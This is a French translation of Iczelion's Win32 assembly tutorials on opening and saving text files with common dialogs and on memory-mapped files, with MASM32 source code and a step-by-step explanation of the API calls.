Le programme inscrit ci-dessous, affiche une DialogBox (OpenFile) qui sert à ouvrir des fichiers. Il laisse l'utilisateur choisir un fichier texte quelconque pour l'ouvrir puis affiche le contenu de ce fichier dans une zone d'édition à l'intérieur de son secteur client. L'utilisateur a la possibilité de modifier le texte dans la zone d'édition à sa guise puis ensuite il peut de retour sauvegarder le contenu dans un fichier.

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

.const
IDM_OPEN equ 1
IDM_SAVE equ 2
IDM_EXIT equ 3
MAXSIZE equ 260
MEMSIZE equ 65535

EditID equ 1 ; n° ID de la zone d'édition.

.data
ClassName db "Win32ASMEditClass",0
AppName db "Win32 ASM Edit",0
EditClass db "edit",0
MenuName db "FirstMenu",0
ofn OPENFILENAME <>
FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
buffer db MAXSIZE dup(0)

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwndEdit HWND ? ; L'Handle de la zone d'édition.
hFile HANDLE ? ; Handle du fichier.
hMemory HANDLE ? ; Handle du bloc de mémoire réservé.
pMemory DWORD ? ; Pointer du bloc de mémoire réservé
SizeReadWrite DWORD ? ; Nombre d'octets réellement lus ou écrits. (dans le bloque mémoire on peut très bien ne pas tout utiliser).

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:SDWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc uses ebx hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_CREATE
invoke CreateWindowEx,NULL,ADDR EditClass,NULL,\
WS_VISIBLE or WS_CHILD or ES_LEFT or ES_MULTILINE or\
ES_AUTOHSCROLL or ES_AUTOVSCROLL,0,\
0,0,0,hWnd,EditID,\
hInstance,NULL
mov hwndEdit,eax
invoke SetFocus,hwndEdit
;====================================================
; Initialisation des members de la structure OPENFILENAME
;====================================================
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hWndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE
.ELSEIF uMsg==WM_SIZE
mov eax,lParam
mov edx,eax
shr edx,16
and eax,0ffffh
invoke MoveWindow,hwndEdit,0,0,eax,edx,TRUE
.ELSEIF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_OPEN
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ or GENERIC_WRITE ,\
FILE_SHARE_READ or FILE_SHARE_WRITE,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFile,eax
invoke GlobalAlloc,GMEM_MOVEABLE or GMEM_ZEROINIT,MEMSIZE
mov hMemory,eax
invoke GlobalLock,hMemory
mov pMemory,eax
invoke ReadFile,hFile,pMemory,MEMSIZE-1,ADDR SizeReadWrite,NULL
invoke SendMessage,hwndEdit,WM_SETTEXT,NULL,pMemory
invoke CloseHandle,hFile
invoke GlobalUnlock,pMemory
invoke GlobalFree,hMemory
.endif
invoke SetFocus,hwndEdit
.elseif ax==IDM_SAVE
mov ofn.Flags,OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetSaveFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ or GENERIC_WRITE ,\
FILE_SHARE_READ or FILE_SHARE_WRITE,\
NULL,CREATE_NEW,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFile,eax
invoke GlobalAlloc,GMEM_MOVEABLE or GMEM_ZEROINIT,MEMSIZE
mov hMemory,eax
invoke GlobalLock,hMemory
mov pMemory,eax
invoke SendMessage,hwndEdit,WM_GETTEXT,MEMSIZE-1,pMemory
invoke WriteFile,hFile,pMemory,eax,ADDR SizeReadWrite,NULL
invoke CloseHandle,hFile
invoke GlobalUnlock,pMemory
invoke GlobalFree,hMemory
.endif
invoke SetFocus,hwndEdit
.else
invoke DestroyWindow, hWnd
.endif
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analyse:

invoke CreateWindowEx,NULL,ADDR EditClass,NULL,\
WS_VISIBLE or WS_CHILD or ES_LEFT or ES_MULTILINE or\
ES_AUTOHSCROLL or ES_AUTOVSCROLL,0,\
0,0,0,hWnd,EditID,\
hInstance,NULL
mov hwndEdit,eax

Dans la section WM_CREATE, nous créons un contrôle d'édition (ou une zone d'édition, de saisie). Notez que les paramètres x, y, width, height qui sont les dimensions du contrôle sont tous mis à zéros puisque nous redéfinirons leurs tailles plus tard pour que son secteur client soit contenu en entier dans la fenêtre parente.
Remarquez que dans ce cas, nous ne devons pas appeler ShowWindow pour faire apparaître la zone d'édition à l'écran, parce que nous incluons le style WS_VISIBLE. Vous pouvez aussi utiliser ce tour de passe passe pour la fenêtre parente.

;=====================================================
; Initialisation des membres de la structure OPENFILENAME.
;=====================================================
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hWndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE

Après la création du contrôle d'édition, prenons le temps d'initialiser les membres d'ofn. Parce que nous souhaitons aussi réutiliser ofn pour la DialogBox de sauvegarde, nous remplissons uniquement les membres *communs* employés par GetOpenFileName et GetSaveFileName.
La section WM_CREATE est un formidable endroit pour pouvoir faire vite fait l'initialisation.

.ELSEIF uMsg==WM_SIZE
mov eax,lParam
mov edx,eax
shr edx,16
and eax,0ffffh
invoke MoveWindow,hwndEdit,0,0,eax,edx,TRUE

Nous recevons des messages WM_SIZE lorsque la taille du secteur client de notre fenêtre principale change. Nous recevons aussi ce message la toute première fois que la fenêtre est créée. Pour pouvoir recevoir ce message, les styles de classe de fenêtre doivent inclure les styles CS_VREDRAW et CS_HREDRAW. Nous profitons de cette occasion pour redimensionner notre contrôle d'édition à la taille du secteur client de notre fenêtre parente. D'abord nous devons connaître la largeur actuelle et la hauteur du secteur client de la fenêtre parente. Nous obtenons ces renseignements de lParam. Le mot de poids fort d'lParam contient la hauteur alors que le mot de poids faible d'lParam contient la largeur du secteur client. Nous employons alors ces deux informations pour redimentionner la zone d'édition en appelant la fonction MoveWindow. En plus du changement de la taille de la fenêtre, nous pouvons aussi changer sa position.

.if ax==IDM_OPEN
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn

Quand l'utilisateur choisit le sous-menu File/Open, nous remplaçons les Flags de la structure ofn et appelons la fonction GetOpenFileName pour afficher la DialogBox qui sert à ouvrir des fichiers.

.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ or GENERIC_WRITE ,\
FILE_SHARE_READ or FILE_SHARE_WRITE,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFile,eax

Après que l'utilisateur ait choisi un fichier pour l'ouvrir, nous appelons CreateFile pour ouvrir ce fichier. Nous indiquons à cette fonction qu'elle doit essayer d'ouvrir le fichier pour le lire ou bien écrire dedans. Après que le fichier soit ouvert, la fonction renvoie l'handle de ce fichier que nous stockons dans une variable Globale pour une future utilisation. Cette fonction a la syntaxe suivante :

CreateFile proto lpFileName:DWORD,\
dwDesiredAccess:DWORD,\
dwShareMode:DWORD,\
lpSecurityAttributes:DWORD,\
dwCreationDistribution:DWORD\,
dwFlagsAndAttributes:DWORD\,
hTemplateFile:DWORD

dwDesiredAccess spécifie quelle est l'opération que vous voulez exécuter sur le fichier.

  • 0 Ouvre le fichier pour interroger ses attributs. Vous avez le droit de lire ou écrire les données.
  • GENERIC_READ Ouvre le fichier pour le lire.
  • GENERIC_WRITE Ouvre le fichier pour pouvoir écrire dedans.
dwShareMode indique quelle opération, sur le fichier ouvert, vous permettez à d'autres process d'effectuer.
  • 0 Empêche le partage du fichier avec d'autres process.
  • FILE_SHARE_READ permet à d'autres process de lire les données, du fichier qui est ouvert.
  • FILE_SHARE_WRITE permet à d'autres process d'écrire des données dans le fichier qui est ouvert.
lpSecurityAttributes n'a aucune signification sous Windows 95.
dwCreationDistribution indique que l'action CreateFile s'exécutera, que le fichier indiqué dans lpFileName existe ou non.
  • CREATE_NEW Crée un nouveau fichier. La fonction échoue si le fichier indiqué existe déjà.
  • CREATE_ALWAYS Crée un nouveau fichier. La fonction recopie le fichier s'il existe.
  • OPEN_EXISTING Ouvre le fichier. La fonction échoue si le fichier n'existe pas.
  • OPEN_ALWAYS Ouvre le fichier, s'il existe. Si le fichier n'existe pas, la fonction crée le fichier comme si dwCreationDistribution était CREATE_NEW.
  • TRUNCATE_EXISTING Ouvre le fichier. Une fois ouvert, le fichier est tronqué(écourté) pour que sa taille finisse par des octets zéro (ex taille de 400 octets). Le process d'appel doit ouvrir le fichier avec au moins l'accès GENERIC_WRITE. La fonction échoue si le fichier n'existe pas.
dwFlagsAndAttributes indique les attribus du fichier
  • FILE_ATTRIBUTE_ARCHIVE dit que le fichier est un fichier d'archives. Les applications emploient cet attribut pour marquer des fichiers pour des Backup(sauvegardes) ou des déplacements.
  • FILE_ATTRIBUTE_COMPRESSED indique que le fichier ou le dossier est comprimé. Pour un fichier, ça signifie que toutes les données dans le fichier sont comprimées. Pour un dossier, ça signifie que la compression est par défaut pour tous les fichiers et ses sous-répertoires nouvellement créés.
  • FILE_ATTRIBUTE_NORMAL indique que le fichier n'a aucun autre jeu d'attributs. Cet attribut est valable seulement s'il est employé seul.
  • FILE_ATTRIBUTE_HIDDEN indique que c'est un fichier caché. Il ne doit pas être utilisé pour des fichiers ordinaires. (souvent ce sont des fichiers system ou VxD)
  • FILE_ATTRIBUTE_READONLY le fichier ne peut être qu'uniquement lu. Les applications peuvent lire le fichier, mais ne peuvent pas y écrire ni le supprimer.
  • FILE_ATTRIBUTE_SYSTEM le fichier fait parti ou bien est exclusivement employé par le système d'exploitation. c'est donc un fichier 'system'.
invoke GlobalAlloc,GMEM_MOVEABLE or GMEM_ZEROINIT,MEMSIZE
mov hMemory,eax
invoke GlobalLock,hMemory
mov pMemory,eax

Quand le fichier est ouvert, nous allouons(réservons) un bloc de mémoire pour l'utiliser par les fonctions WriteFile ou ReadFile. Nous spécifions le flag GMEM_MOVEABLE pour que ce soit Windows qui s'occupe de déplacer le bloc de mémoire dans le but de consolider la mémoire (défragmentation locale). Le flag GMEM_ZEROINIT dit à GlobalAlloc de remplir le bloc de mémoire nouvellement réservé avec des zéros.
Quand les retours de GlobalAlloc sont menés avec succès, eax contiennent l'handle du bloc de mémoire alloué. Nous passons cet handle à la fonction GlobalLock qui renvoie ensuite le pointer au bloc de mémoire.

invoke ReadFile,hFile,pMemory,MEMSIZE-1,ADDR SizeReadWrite,NULL
invoke SendMessage,hwndEdit,WM_SETTEXT,NULL,pMemory

Quand le bloc de mémoire est prêt à être utilisé, nous appelons la fonction ReadFile pour lire les données du fichier. Quand un fichier vient tout juste d'être ouvert ou créé, le pointer de fichier est mis à 0 pour qur le curseur soit au tout début du document. Ainsi dans ce cas, nous commençons à lire le premier octet dans le fichier. Le premier paramètre de ReadFile est l'handle du fichier à lire, le deuxième est le pointer du bloc de mémoire qui content les données, ensuite c'est le nombre d'octets à lire dans le fichier, le quatrième paramètre est l'adresse de la variable (de taille DWORD) qui contiendra le nombre d'octets réellement lus dans le fichier.
Après que nous ayons remplis le bloc de données ne mémoire, nous transvasons ces données vers le contrôle d'édition (la zone de saisie) en envoyant le message WM_SETTEXT au contrôle d'édition, avec lParam qui contient le pointer du bloc de mémoire. Après cet appel, le contrôle d'édition affiche les données dans son secteur client.

invoke CloseHandle,hFile
invoke GlobalUnlock,pMemory
invoke GlobalFree,hMemory
.endif

À ce point, nous n'avons aucun besoin de maintenir le fichier ouvert plus longtemps puisque notre but est d'écrire dans un autre fichier (que le fichier original) les données visibles dans contrôle d'édition. Donc nous fermons le fichier en appelant CloseHandle avec l'Handle du fichier comme paramètre. Ensuite nous ouvrons le bloc de mémoire et le libérons. En réalité vous ne devez pas libérer la mémoire dès maintenant, vous pourrez réutiliser plus tard le bloc de mémoire pendant l'opération de sauvegarde. Mais dans le but de notre démonstration, je tiens à la libérer ici.

invoke SetFocus,hwndEdit

Quand la DialogBox (qui sert à ouvrir des fichiers) s'affiche à l'écran, le Focus passe de la fenêtre principale à la DialogBox en question pour que ce soit elle qui soit active. Ainsi quand on referme un fichier de la DialogBox (déjà ouvert), nous devons donner le Focus à la zone de saisie (au contrôle d'édition), qui se trouve en arrière.
Ceci fini l'opération de lecture sur le fichier. À ce point, l'utilisateur peut écrire dans le contrôle d'édition. Et quand il veut sauvegarder les données dans un autre fichier, il doit choisir le sous-menu File/Save qui affiche une DialogBox pour les sauvegardes. La création de la DialogBox de sauvegarde n'est pas très différente de la DialogBox d'ouverture de fichiers. En fait, elles diffèrent seulement entre le nom des fonctions, GetOpenFileName et GetSaveFileName. Vous pouvez aussi réutiliser la plupart des membres de la structure ofn, sauf le membre Flag.

mov ofn.Flags,OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY

Dans notre cas, nous voulons créer un nouveau fichier, donc OFN_FILEMUSTEXIST et OFN_PATHMUSTEXIST doivent être omis sinon la DialogBox ne nous laissera pas créer un fichier qui n'existe pas déjà.
Le paramètre dwCreationDistribution de la fonction CreateFile doit être changé en CREATE_NEW puisque nous voulons créer un nouveau fichier.
Le reste du code est identique à celui dans la partie 'fichiers à ouvrir' sauf la chose suivante :

invoke SendMessage,hwndEdit,WM_GETTEXT,MEMSIZE-1,pMemory
invoke WriteFile,hFile,pMemory,eax,ADDR SizeReadWrite,NULL

Nous envoyons le message WM_GETTEXT au contrôle d'édition pour que celui-ci puisse recopier les données (le texte) qu'il contient dans le bloc de mémoire que nous avions alloués, la valeur de retour dans eax est la longueur des données à l'intérieur du buffer. Après que les données soient dans le bloc de mémoire, nous les écrivons dans un nouveau fichier.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 13: Memory Mapped Files

Tutorial 13 : Fichiers Mappés en Mémoire

(Memory Mapped Files)

Je vais vous montrer ce que sont les Fichiers Mappés en Mémoire et comment les employer à votre avantage. L'utilisation d'un Fichier Mappé est très facile comme vous le verrez dans ce Tutorial.

Downloadez l'exemple ici.

Aparté : Le procédé de File Mapping ou en français 'Mapper un Fichier en mémoire' c'est en faite faire une copie en mémoire d'un fichier qui était jusque là bien physique. Par exemple un fichier *.txt (physique) peut être entièrement copié quelque part en mémoire (il est Mappé) ce qui présente de gros avantages.

Théorie:

Si vous examinez l'exemple du Tutorial précédent, vous constaterez qu'il a un défaut sérieux : que se passe-t-il si la taille du fichier que vous voulez lire est plus grande que le bloc de mémoire allouée ? Ou que la chaîne de caractères que vous voulez chercher est coupée en deux à la fin du bloc de mémoire ? La réponse traditionnelle pour la première question c'est que vous devez à plusieurs reprises lire dans les données du fichier avant que l'on ne rencontre la fin du fichier. La réponse à la deuxième question c'est que vous devez vous préparer à ce cas spécial de fin de bloc de mémoire. ça s'appelle un problème de valeur aux frontières. C'est un vrai casse tête pour les programmeurs car ça engendre des bogues (des défauts) innombrables.
il n'y aurait plus aucun problème si nous pouvions réserver un très grand bloc de mémoire, assez grand pour stocker le fichier en entier. Cependant notre programme s'accaparerait trop de ressources. Ce sont les (Files Mapping) fichiers Mappés en Mémoire qui vont nous sauver. Pour utiliser les fichiers Mappés, vous pouvez vous imaginer que c'est un fichier entier, étant déjà chargé en mémoire et vous pouvez employer un pointer de mémoire pour lire ou écrire des données dans ce fichier. C'est aussi simple que cela. Nul besoin d'employer des fonctions API de mémoire et pas besoin de faire de différence entre les fonctions API de fichiers d'entrée et de sortie non plus, ce sont les mêmes dans les fichiers Mappés (Files Mapping). Il est aussi employée comme moyen de partage des données entre plusieurs process (entre plusieurs programmes). En employant les fichiers Mappés de cette façon, il n'y aucun fichier réellement impliqué. Sa représentation, c'est plutôt un bloc de mémoire réservé dans lequel chaque process peut *lire ou écrire*. Mais le partage de ces données entre plusieurs process est un point délicat, ça ne doit pas être traité à la légère. Vous devez exécuter ces process par ordre (les uns après les autres) en les synchronisant, sinon vos applications planteront très vite.
Dans ce Tutorial, nous ne verrons pas le sujet 'fichiers Mappés' (File Mapping) en tant que moyen pour créer une zone de mémoire partagée. Nous allons plutôt voir comment utiliser le 'File Mapping' comme moyen de "Mapper" un fichier en mémoire. En fait, le 'PE Loader' emploie le principe de File Mapping pour charger des fichiers exécutables en mémoire. C'est très commode uniquement pour les parties du fichier nécessaires, qui doivent être sélectivement lues sur le disque. Sous Win32, vous devez employer le File Mapping autant que possible.
Il y a quelques limitations au pricipe du File Mapping, quoique. La principale, c'est qu'une fois que vous aurez créé un Fichier Mappé en Mémoire, sa taille ne peut pas être modifiée pendant cette session. Donc le 'File Mapping' est important pour les fichiers 'Read-Only' (une des propriété d'un fichier) ou pour des opérations sur des fichiers qui ne doivent en aucun cas affecter la taille du fichier. Ça ne signifie pas que vous ne pouvez pas employer le File Mapping lorsque vous voulez augmenter la taille du fichier. Vous pouvez estimer sa nouvelle taille et prendre comme mémoire cette taille pour votre fichier mappé, comme ça sa taille sera réévaluée. C'est pas très pratique, c'est tout.
Assez d'explications. On va plonger dans l'exploration des fichiers Mappés (File Mapping). Pour employer le (File Mapping), on doit suivre ces étapes :
  1. Appelez CreateFile pour ouvrir le fichier que vous voulez Mapper.
  2. Appelez CreateFileMapping avec l'Handle du fichier renvoyé par CreateFile comme un de ses paramètres. Cette fonction crée un objet 'File Map' du fichier ouvert par CreateFile.
  3. Appelez MapViewOfFile pour Mapper une région du fichier choisie ou bien du fichier entier en mémoire. Cette fonction renvoie le pointer du premier octet de la zone où commence le fichier Mappé.
  4. Utilisez ce pointer pour lire ou écrire dans le fichier (bloc de donnée plutôt).
  5. Appelez UnmapViewOfFile pour Unmapper le fichier.
  6. Appelez CloseHandle avec l'Handle du Fichier Mappé (l'Handle du File Mapping) comme paramètre pour le refermer.
  7. Appelez CloseHandle une fois de plus, mais cette fois-ci avec l'Handle renvoyé par CreateFile pour fermer le fichier réel.

Exemple:

Le programme ci-dessous vous laisse ouvrir un fichier grâce à une DialogBox. Il ouvre le fichier en employant le principe du 'File Mapping', si le fichier est ouvert avec succès, le titre de fenêtre principale est actualisé avec le nom du fichier qui vient d'être ouvert. Vous pouvez ensuite sauvegarder le fichier sous un autre nom par le biais du sous-menu File/save. Le programme recopiera le contenu total du fichier ouvert, vers un nouveau fichier. Notez que vous n'avez pas besoin d'appeler GlobalAlloc pour réserver un bloc de mémoire dans ce programme.

.386
.model flat,stdcall
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

.const
IDM_OPEN equ 1
IDM_SAVE equ 2
IDM_EXIT equ 3
MAXSIZE equ 260

.data
ClassName db "Win32ASMFileMappingClass",0
AppName db "Win32 ASM File Mapping Example",0
MenuName db "FirstMenu",0
ofn OPENFILENAME <>
FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
buffer db MAXSIZE dup(0)
hMapFile HANDLE 0 ; Handle du 'Fichier Mappé en Mémoire', doit être
; initialisé avec un 0 parce qu'on doit aussi l'utiliser comme
; un flag dans la section WM_DESTROY

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hFileRead HANDLE ? ; Handle du fichier source (fichier réel)
hFileWrite HANDLE ? ; Handle du fichier de 'sortie'.
hMenu HANDLE ?
pMemory DWORD ? ; Pointer sur les données dans le fichier source.
SizeWritten DWORD ? ; Nombre d'octes actuellement écrit par WriteFile. (écrit dans la Box
; où on peut mettre du texte)

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,\
ADDR AppName, WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_CREATE
invoke GetMenu,hWnd ; Obtient l'handle du menu
mov hMenu,eax
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hWndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE
.ELSEIF uMsg==WM_DESTROY
.if hMapFile!=0
call CloseMapFile
.endif
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_OPEN
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ ,\
0,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFileRead,eax
invoke CreateFileMapping,hFileRead,NULL,PAGE_READONLY,0,0,NULL
mov hMapFile,eax
mov eax,OFFSET buffer
movzx edx,ofn.nFileOffset
add eax,edx
invoke SetWindowText,hWnd,eax
invoke EnableMenuItem,hMenu,IDM_OPEN,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_SAVE,MF_ENABLED
.endif
.elseif ax==IDM_SAVE
mov ofn.Flags,OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetSaveFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ or GENERIC_WRITE ,\
FILE_SHARE_READ or FILE_SHARE_WRITE,\
NULL,CREATE_NEW,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFileWrite,eax
invoke MapViewOfFile,hMapFile,FILE_MAP_READ,0,0,0
mov pMemory,eax
invoke GetFileSize,hFileRead,NULL
invoke WriteFile,hFileWrite,pMemory,eax,ADDR SizeWritten,NULL
invoke UnmapViewOfFile,pMemory
call CloseMapFile
invoke CloseHandle,hFileWrite
invoke SetWindowText,hWnd,ADDR AppName
invoke EnableMenuItem,hMenu,IDM_OPEN,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_SAVE,MF_GRAYED
.endif
.else
invoke DestroyWindow, hWnd
.endif
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

CloseMapFile PROC
invoke CloseHandle,hMapFile
mov hMapFile,0
invoke CloseHandle,hFileRead
ret
CloseMapFile endp

end start

Analyse:

invoke CreateFile,ADDR buffer,\
GENERIC_READ ,\
0,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
NULL

Quand l'utilisateur choisit un fichier dans la DialogBox qui sert à ouvrir des fichiers, nous appelons CreateFile pour l'ouvrir. Notez que nous spécifions GENERIC_READ pour ouvrir ce fichier avec comme propriété 'Read-Only'. 'dwShareMode' est mis à zéro parce que nous ne voulons pas que d'autres process puissent avoir accès au fichier pendant notre opération.

invoke CreateFileMapping,hFileRead,NULL,PAGE_READONLY,0,0,NULL

Alors nous appelons CreateFileMapping pour Mapper en mémoire le fichier(réel) ouvert. La syntaxe de CreateFileMapping est la suivante :

CreateFileMapping proto hFile:DWORD,\
lpFileMappingAttributes:DWORD,\
flProtect:DWORD,\
dwMaximumSizeHigh:DWORD,\
dwMaximumSizeLow:DWORD,\
lpName:DWORD

Sachez déjà, que CreateFileMapping n'est pas obligé de Mapper la totalité du fichier en mémoire. Vous pouvez utiliser cette fonction pour Mapper seulement une partie du fichier réel. Vous spécifiez la taille du fichier à Mapper en mémoire dans les paramètres dwMaximumSizeHigh et dwMaximumSizeLow. Si vous indiquez une taille plus grande que le fichier réel, le fichier réel lors de sa fermeture sera agrandit à la nouvelle taille. Si vous voulez que la taille 'Fichier Mappé' soit la même que celle du fichier réel, mettez ces deux derniers paramètres à zéro.
Vous pouvez employer un NUL dans le paramètre lpFileMappingAttributes pour que ce soit Windows qui crée le 'Fichier Mappé' avec des attributs de sécurité par défaut.
FlProtect définit la protection désirée pour le 'Fichier Mappé'. Dans notre exemple, nous employons PAGE_READONLY pour permettre uniquement l'opération de lecture sur le 'Fichier Mappé'. Notez que cet attribut ne doit pas contredire l'attribut employé dans CreateFile sinon CreateFileMapping échouera.
LpName pointe sur le nom du 'Fichier Mappé'. Si vous voulez partager ce fichier avec d'autre process, vous devez lui donner un nom. Mais dans notre exemple, notre process est le seul qui emploie ce fichier donc nous ignorons ce paramètre.

mov eax,OFFSET buffer
movzx edx,ofn.nFileOffset
add eax,edx
invoke SetWindowText,hWnd,eax

Si CreateFileMapping s'effectue avec succès, le nom du fichier ouvert prend la place du titre de la fenêtre. Le nom du fichier ainsi que son chemin complet sont stockés dans le buffer, nous voulons afficher uniquement le nom de fichier dans le titre donc nous devons ajouter la valeur du membre nFileOffset de la structure OPENFILENAME à l'adresse de ce buffer. (vous avez compris pourquoi ! ! !)

invoke EnableMenuItem,hMenu,IDM_OPEN,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_SAVE,MF_ENABLED

Comme précaution, nous ne voulons pas que l'utilisateur puisse ouvrir plusieurs fichiers les uns après les autres, donc nous devons griser le sous-menu 'Open' et dégriser le sous-menu 'Save'. EnableMenuItem est justement employé pour changer les attributs du menu..
Après ceci, nous attendons que l'utilisateur clique sur le sous-menu File/Save pour fermer notre programme. Au moment où l'utilisateur ferme le programme, nous devons en fait fermer le 'Fichier Mappé' ainsi que le fichier réel. Voici comment faire :

.ELSEIF uMsg==WM_DESTROY
.if hMapFile!=0
call CloseMapFile
.endif
invoke PostQuitMessage,NULL

Dans le susdit petit bout de code, quand la procédure de fenêtre reçoit le message WM_DESTROY, elle vérifie d'abord la valeur du membre hMapFile pour voir si c'est un zéro ou non. Si ce n'est pas un NULL, elle appelle la fonction CloseMapFile qui contient le code suivant :

CloseMapFile PROC
invoke CloseHandle,hMapFile
mov hMapFile,0
invoke CloseHandle,hFileRead
ret
CloseMapFile endp

